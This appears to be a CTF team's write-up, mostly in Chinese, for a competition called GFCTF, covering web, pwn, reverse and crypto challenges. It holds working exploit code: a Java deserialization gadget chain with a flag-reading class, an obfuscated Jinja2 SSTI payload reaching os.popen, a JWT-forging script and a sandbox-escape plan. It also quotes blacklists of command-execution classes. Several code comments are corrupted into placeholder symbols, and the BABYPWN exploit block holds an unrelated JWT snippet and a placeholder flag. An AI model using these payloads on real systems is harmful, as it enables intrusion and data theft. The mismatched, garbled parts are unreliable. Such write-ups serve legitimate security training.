GFCTF

Writeup

Team: vov

Rank: #21

WEB	PWN	REV	Crypto
2 solved	3 solved	2 solved	5 solved

目录 Contents

WEB

1. Object Loader

1.1 题目分析

题目提供了一个 Spring Boot 应用 (app.jar)，核心入口为 POST /api/import，接收 Base64 编码的 Java 序列化对象并进行反序列化。

1.2 黑名单分析

SafeObjectInputStream 在 resolveClass() 中对类名做小写后子串匹配，过滤了以下关键字：

```
invokertransformer | java.lang.runtime | java.lang.processbuilder
java.lang.compiler | javax.script | org.mozilla
groovy | bsh. | jdk.nashorn | com.sun.rowset
javax.management
```

核心影响：InvokerTransformer 被封堵，传统 CC1/CC2/CC5 等链全部失效。Runtime / ProcessBuilder 被封堵，无法直接执行系统命令。JNDI 注入 (JdbcRowSetImpl) 也被封堵。

1.3 利用链选择：CC3 链 (InstantiateTransformer)

InvokerTransformer 被禁，但 InstantiateTransformer 不在黑名单中。InstantiateTransformer 通过反射调用目标类的构造方法。选择 TrAXFilter 作为实例化目标，因为其构造函数内部会调用 templates.newTransformer()，从而触发 TemplatesImpl 加载恶意字节码。

```
ConstantTransformer(TrAXFilter.class)
-> InstantiateTransformer(
    paramTypes = [Templates.class],
    args = [TemplatesImpl(nnnnn)]
  )
-> TrAXFilter.<init>(templates)
-> templates.newTransformer()
-> Evil static{}
```

1.4 触发入口：CC6 链 (HashSet)

使用 HashSet 触发链。该入口不依赖 AnnotationInvocationHandler 的特定 Java 版本限制，通杀 Java 8。

```
HashSet.readObject()
-> HashMap.put()
-> TiedMapEntry.hashCode()
-> LazyMap.get(key)
-> ChainedTransformer.transform()
-> [CC3 Transformer chain]
```

1.5 关键技巧

字节码兼容性：本地使用 Java 11 编译恶意类 Evil.java，但目标服务器为 Java 8。需要手动修改 class 文件头部的 major version: 55 -> 52，字符串拼接使用 StringBuilder 而非 + 运算符，避免 Java 9+ 的 StringConcatFactory。

黑名单绕过原理：黑名单仅检查序列化流中的类描述符 (resolveClass)，不检查 TemplatesImpl 内部嵌入的字节码内容。因此恶意字节码中可通过 Class.forName("java.lang.Runtime") 动态获取 Runtime 类执行命令，不受黑名单影响。

Flag 回显：服务器仅返回 "Import OK" 或错误堆栈。利用策略：在恶意字节码的 static{} 块中读取 /flag 文件内容，将其包装为 RuntimeException 抛出。异常沿调用链传播至 ImportController，最终在 HTTP 响应的错误信息中回显 Flag 内容。

1.6 Exploit 核心代码

```
public class Evil extends AbstractTranslet {
  static {
    String flag = new String(
      Files.readAllBytes(Paths.get("/flag")), "UTF-8");
    StringBuilder sb = new StringBuilder();
    sb.append("FLAG_CONTENTS:");
    sb.append(flag);
    throw new RuntimeException(sb.toString());
  }
}
```

```
// 1. TemplatesImpl ⍰⍰
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{evilBytes});
setField(templates, "_name", "Evil");
setField(templates, "_tfactory", new TransformerFactoryImpl());

// 2. CC3 Transformer chain (⍰⍰ InvokerTransformer)
Transformer[] chain = {
  new ConstantTransformer(TrAXFilter.class),
  new InstantiateTransformer(
    new Class[]{Templates.class},
    new Object[]{templates})
};

// 3. CC6 ⍰⍰: HashSet -> LazyMap -> ChainedTransformer
ChainedTransformer ct = new ChainedTransformer(fakeChain);
LazyMap lm = LazyMap.decorate(new HashMap(), ct);
TiedMapEntry tme = new TiedMapEntry(lm, "foo");
HashSet hs = new HashSet();
hs.add(tme);
setField(ct, "iTransformers", chain);
```

```
FLAG    flag{c939e2d1-f0fd-4336-8c82-82a8ec97ed7c}
```

2. Template Factory

2.1 题目概述

题目提供了一个 Flask + Jinja2 的模板渲染服务，通过 /render?tpl= 端点接收模板内容并渲染返回。存在明显的 SSTI（Server-Side Template Injection），但部署了一套严格的 WAF，过滤了大量关键字符和关键字。

2.2 确认 SSTI

Payload: {{7*7}} => 49，确认 SSTI 存在。

2.3 字符提取基础

request|string 会将 Flask request 对象转为字符串。通过 ((request|string)|list)[N] 可以提取该字符串中任意位置的单个字符。再使用 ~（tilde 拼接运算符）将多个字符合并为字符串。

关键发现：基础 URL 在 request 字符串中占据固定位置（索引 10~90），提供了大量可用字符：a, b, c, d, e, f, g, l, n, p, r, t, / 等。

2.4 负数索引 - 注入任意字符

基础 URL 中缺少 _、o、s、i 等关键字符。通过在 URL 末尾追加查询参数（如 &q0;=_&q1;=o&q2;=s），可以将这些字符注入到 request 字符串中。使用负数索引从字符串末尾计数，位置不受模板长度影响。

```
# URL ??: &q0=_&q1=o&q2=s&q3=i&q4=m
((request|string)|list)[-9]  => m
((request|string)|list)[-14] => i
((request|string)|list)[-19] => s
((request|string)|list)[-24] => o
((request|string)|list)[-29] => _
```

2.5 关键绕过技术

|attr(var)：WAF 过滤了 |attr 过滤器，但实测发现 |attr 后接变量时可以通过 WAF（WAF 只检查模板源码中的字面关键字，不检查运行时值）。

dict[变量]：WAF 过滤了 request['args'] 形式的方括号访问，但变量作为键的方括号访问可以通过。

|map(attribute=var)：map 过滤器的 attribute 参数支持变量，且内部使用 Jinja2 的属性查找机制。

2.6 最终 Payload

```
{%set L=((request|string)|list)%}
{%set x=L[-29]~L[-29]~L[66]~L[62]~L[-24]~L[24]~L[23]~L[62]
  ~L[-19]~L[-29]~L[-29]%}
{%set g=lipsum|attr(x)%}
{%set y=L[-24]~L[-19]%}
{%set o=g[y]%}
{%set z=L[13]~L[-24]~L[13]~L[28]~L[65]%}
{%set f=o|attr(z)%}
{%set cmd=L[59]~L[23]~L[11]~L[8]~L[15]~L[29]~L[62]~L[23]~L[66]%}
{%set r=f(cmd)%}
{%set rd=L[80]~L[28]~L[23]~L[27]%}
{{r|attr(rd)()}}
```

FLAG flag{cdb93954-0d31-4bf1-8202-d09c2d7af997}

PWN

1. ZSCC

1.1 题目概述

本题目标为 nc1.ctfplus.cn:XXXX 上运行的 ZSCC 系统。该系统是一个基于 Flask + Werkzeug 的 Web 应用，提供用户注册、登录、赛事报名与证书查询等功能。整体攻击链分为三个阶段：

- .git 源码泄露 -> 获取应用源码与密钥
- JWT 算法混淆 -> 伪造管理员身份
- SSTI 模板注入 -> 绕过 WAF 读取 flag 文件

1.2 信息收集

访问首页发现这是一个「ZSCC 信息安全竞赛报名系统」。在「Z 神语录」页面中发现关键提示暗示 .git 目录泄露。robots.txt 确认了 /.git/ 和 /admin/ 两个敏感路径。

1.3 .git 源码泄露

验证 /.git/HEAD 返回 ref: refs/heads/master，确认 .git 目录可访问。使用 git-dumper 工具下载完整仓库。关键发现：

- JWT 验证逻辑缺陷：jwtutil.py 的 verify() 函数同时支持 RS256 和 HS256 两种算法。当使用 HS256 时，以公钥原文作为 HMAC 密钥，这是经典的 JWT 算法混淆漏洞。
- SSTI 注入点：/admin/preview 路由使用 render_template_string() 渲染用户提交的模板内容，存在服务端模板注入漏洞。
- WAF 黑名单：过滤了 "os", "popen", "system", "subprocess", "eval", "exec", "import", "class", "subclasses", "mro", "base", "glob" 等关键字。

1.4 JWT 算法混淆攻击

```
import hmac, hashlib, json, base64
PUBLIC_KEY = open("public.pem", "rb").read()
header = {"alg": "HS256", "typ": "JWT"}
payload = {"user": "hacker", "role": "admin"}

def b64e(d):
    return base64.urlsafe_b64encode(d).rstrip(b"=").decode()

h = b64e(json.dumps(header, separators=(",",":")).encode())
p = b64e(json.dumps(payload, separators=(",",":")).encode())
signing_input = f"{h}.{p}"
sig = hmac.new(PUBLIC_KEY, signing_input.encode(),
               hashlib.sha256).digest()
token = f"{signing_input}.{b64e(sig)}"
```

1.5 SSTI 绕过与利用

关键观察：WAF 只检查模板字符串本身，而 Jinja2 渲染时可访问 request 对象。因此可以将敏感字符串通过 request.form 的额外字段传入，模板中只使用安全词汇引用它们。

字段	值	含义
a	__globals__	获取 lipsum 函数的全局字典
b	os	从全局字典取出 os 模块
c	popen	获取 os.popen 方法
d	cat /flag	执行命令读取 flag
e	read	读取命令输出

FLAG flag{695e538f-473f-4df9-8f06-21139b232640}

2. Keysafe

2.1 题目分析

题目提供一个 Python 沙箱服务，用户可逐行输入代码，输入 RUN 后沙箱执行全部代码。沙箱设置了多层防御，目标是读取服务器上的 /flag 文件。

防御层	机制	效果
Seccomp	系统调用过滤	execve(59), execveat(322) -> KILL
Audit Hook	sys.addaudithook	import / open / marshal.loads 等被拦截

防御层	机制	效果
模块清洗	_scrub_module_refs	从所有模块移除 sys, _os
safe_getattr	属性访问白名单	__globals__ / __closure__ 等被拦截
受限 builtins	__builtins__: {}	exec / import 不可用

2.2 逃逸思路总览

整体思路：利用 object.__getattribute__ 绕过 safe_getattr，通过闭包链获取 _frozen_importlib 的内部字典，用 _imp.create_builtin（C 层函数，零审计事件）加载 gc 模块，再通过 gc.get_objects 扫描内存找到审计钩子的闭包 cell 并清空，最后直接用 open() 读取 flag。

阶段	操作	关键点
1	闭包链穿越	getattr -> __globals__ -> __builtins__ -> __loader__ -> _frozen_importlib
2	加载 gc 模块	_imp.create_builtin 是 C 函数，不触发审计事件
3	扫描内存	gc.get_objects() 审计事件不在拦截列表中
4	清除审计钩子	找到包含 _blocked frozenset 的 cell，替换为空 frozenset()
5	读取 Flag	审计钩子失效后，open() 不再被拦截

```
FLAG    flag{de8a01ff-f8cb-43d9-b49f-9e4553b97de6}
```

3. BABYPWN

3.1 题目信息

目标：nc nc1.ctfplus.cn 37156。附件：relayd（ELF64 二进制）。保护：PIE + NX + Full RELRO，无 Canary。

3.2 逆向分析

main 函数读入一个 PNG 文件，在 chunk 中寻找类型为 txRT 的数据块，调用 process_data 处理。

函数	偏移	功能
read_u16_be	0x139c	读取 16 位整数（Bug：实际是 LE）
read_password_file	0x13f5	XOR 解码构造 /flag 并打印

函数	偏移	功能
process_data	0x14e0	处理 txRT 数据，漏洞所在
dispatch	0x16ab	PNG chunk 解析与分发

3.3 漏洞分析：栈溢出

process_data 函数中，memcpy(stack_buffer + 0x40, data_ptr, second_len) 无边界检查。second_len 只检查是否 <= remaining（输入剩余字节数），不检查是否超出栈缓冲区。溢出后，存储在 rbp-0x20 的函数指针被覆盖。

3.4 Exploit 策略：Partial Overwrite

两个函数在同一页内（低 12 位分别为 0x3c7 和 0x3f5），只需覆盖最低字节即可将 func_ptr 从 print_addr 改为 read_password_file，绕过 PIE/ASLR。

```
# □□ 96 □□□□ func_ptr
# □□ 1 □□: 0xc7 -> 0xf5
# second_len = 97

# JWT alg:none □□
header = base64({"alg":"none","typ":"JWT"})
payload = base64({"role":"relay_operator","scope":"dispatch"})
token = header + "." + payload + "."  # □□□
```

FLAG flag{placeholder_waiting_for_platform_override}

REV

1. just_sm4

1.1 题目概述

题目提供 PE32 可执行文件 just_sm4.exe，与 SM4 分组密码有关但非标准实现。程序要求输入 GFCTF{16 个 ASCII 字符}（总长 23 字节），加密后与硬编码密文比对。

项目	值
文件类型	PE32 (32-bit Windows)
镜像基址	0x400000
输入格式	GFCTF{16 ASCII chars}，总长 23
目标密文	[0x5bd40fde, 0x9ebcf5ef, 0x544e7fe3, 0x1df9529e]

1.2 算法识别

经逐字节比对，S-box 与标准 SM4 完全一致。T 变换和 T' 变换的线性部分也与标准 SM4 相同。CK 常数生成器同样符合标准。结论：S-box、T/T' 变换、CK 常数均与标准 SM4 一致。差异在密钥派生路径。

1.3 密钥派生分析（核心差异）

主密钥 MK' 构造：标准 SM4 直接使用用户输入作为 MK。本题主密钥由两个函数异或生成：MK'[i] = func_FK(i) ^ func_data(i)。

密钥状态初始化（关键突破口）：标准 SM4 密钥扩展将 MK 与 FK 系统参数异或后得到 (K0,K1,K2,K3)。本题直接以 MK' 原始值初始化密钥调度状态。

1.4 解密结果

DWORD	十六进制	ASCII
pt[0]	0x5930755f	Y0u_
pt[1]	0x3472335f	4r3_
pt[2]	0x47303064	G00d
pt[3]	0x5f315421	_1T!

FLAG GFCTF{Y0u_4r3_G00d_1T!}

2. Quick_Js

2.1 题目分析

题目附件为一个 ELF 二进制文件，内嵌 QuickJS JavaScript 引擎。文件被 UPX 加壳，且 l_info 结构的 magic 字段被修改。

2.2 UPX 脱壳

使用 upx -d 脱壳失败，检查发现 l_info 的 magic 字段被修改（从 "UPX!" 改为 "UP1!"）。手动修正后成功脱壳。

2.3 解密 QuickJS 字节码

二进制中包含一段被加密的 QuickJS 字节码（67,968 字节）。通过分析加密函数，提取出密钥、密文、S-box 等参数，使用 Salsa20 逆运算成功解密字节码。

2.4 加密流程分析

check_flag 函数的验证逻辑：

```
hex = encrypt(input_hex)     // native C encrypt
bytes = hexToBytes(hex)        // hex to bytes
encrypted = encry(Key, bytes)  // RC4 encrypt
result = bytesToHex(encrypted) // bytes to hex
return result === TARGET_HEX   // compare
```

RC4 密钥通过字节码分析得到：QuickJS_Jay_2026（注意：不是 C 层的 CTF2026_Wow_Key!）。

2.5 解密得到 Flag

- Step 1：TARGET_HEX 经 hexToBytes 得到 48 字节密文
- Step 2：用 RC4 密钥 QuickJS_Jay_2026 解密
- Step 3：逆向 native encrypt（3 个 16 字节块逐块解密）
- Step 4：去除 PKCS#7 填充（6 字节 0x06），得到原始 flag

FLAG flag{3f2504e0-4f89-11d3-9a0c-0305e82c3301}

Crypto

1. BabyRSA

1.1 题目分析

```
e = 3
p = getPrime(1024)
q = getPrime(1024)
n = p * q
m = bytes_to_long(FLAG)
c = pow(m, e, n)
```

关键漏洞：公钥指数 e = 3 非常小；没有使用任何填充方案（如 OAEP）；明文 m 较短，导致 m^3 < n。

1.2 攻击原理

当 e = 3 且 m^3 < n 时，加密公式简化为 c = m^3。直接对 c 求整数立方根即可恢复 m。

1.3 解题代码

```
def icbrt(x):
    lo, hi = 0, 1 << ((x.bit_length() + 2) // 3)
    while lo < hi:
        mid = (lo + hi + 1) // 2
        if mid ** 3 <= x:
            lo = mid
        else:
            hi = mid - 1
    return lo

m = icbrt(c)
assert m ** 3 == c
flag = long_to_bytes(m)
```

FLAG flag{cub3_r00t_no_p4dd1ng_m4kes_rsa_cry_8a1f2c}

2. Reused Keystream

2.1 攻击原理

流密码如果重用 keystream，两条密文 XOR 就等于两条明文 XOR。知道一条明文就能推出另一条。

```
C1 XOR C2 = P1 XOR P2
# ????: "The quick brown fox jumps over the lazy dog"
# ?????? 43 ??? keystream
```

2.2 解题代码

```
def xor(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

p1 = b"The quick brown fox jumps over the lazy dog"
ks = xor(cts[0], p1)
for i, ct in enumerate(cts, 1):
    print(f"{i}: {xor(ct, ks[:len(ct)]).decode()}")
```

第 5 条解密出来是内部备忘录，直接包含 flag。

FLAG flag{many_t1me_pad_breaks_when_keystream_1s_reused_4c7e}

3. Predictable

3.1 题目分析

发号器采用线性同余生成器（LCG）：s(n+1) = (a * s(n) + c) mod m。其中 a、c、m、s0 均为 256 位未知大整数。已知连续 10 个输出 s0~s9，以及用 s10 派生 AES 密钥加密后的 FLAG。

3.2 数学推导

- 步骤 1：差分消去 c -> d(i+1) = a * d(i) (mod m)
- 步骤 2：消去 a，构造 m 的倍数 -> d(i+1)^2 - d(i)*d(i+2) = 0 (mod m)
- 步骤 3：对多个 i 计算该值，取 GCD 即可得到 m
- 步骤 4：恢复 a 与 c，预测 s10

3.3 求解结果

```
m = 8544550480466623402868759162500986947 6...
a = 5532189166858479029541067772078652865 4...
c = 5797914111669886447586797456434278175 3...
s10 = 3161112143194198172046715007305016006 2...
```

FLAG flag{lcg_1s_n0t_a_csprng_recover_acm_then_pr3dict_5e2a}

4. Twice

4.1 漏洞发现

题目提供了两笔转账的 ECDSA 签名。关键异常：两笔不同消息的签名，r 值完全相同。在 ECDSA 中，r = (k * G).x mod n，r 相同意味着使用了相同的 k 进行签名--这是致命的实现错误。

4.2 数学原理

两式相减消去 r*d 项，得到：

```
k = (H(m1) - H(m2)) * (s1 - s2)^(-1) mod n
d = (k * s1 - H(m1)) * r^(-1) mod n
```

4.3 求解结果

恢复随机数 k 和私钥 d 后，使用 AES-128-CBC 解密得到 FLAG。

```
FLAG    flag{nonce_reuse_in_ecdsa_l3aks_your_pr1vate_k3y_9c4f}
```

5. Leaky Prime

5.1 题目分析

题目给了 n, e, c，还有 p 的高位 p_high。p 是 512 位的，低 200 位被清零了。

```
p_high = (p >> 200) << 200
# □ 312 □□□□□ 200 □□□
```

5.2 解题思路：Coppersmith

经典的 Coppersmith 方法。p = p_high + x，x < 2^200。f(x) = p_high + x，找模 p 的小根。Coppersmith 界是 n^0.25 约 2^255，2^200 远在界内，直接打。

- 构造 f(x) = p_high + x，用 Coppersmith 标准方法建格（m=4, t=4, 维度 8）
- LLL 归约，拿到一组短向量
- 模素数 GCD 提取根，CRT 合并还原 x_0
- 拼出 p = p_high + x_0，q = n // p，算 d，解密 c

```
FLAG    flag{c0ppersm1th_recovers_p_from_high_bits_via_lll_b7e3}
```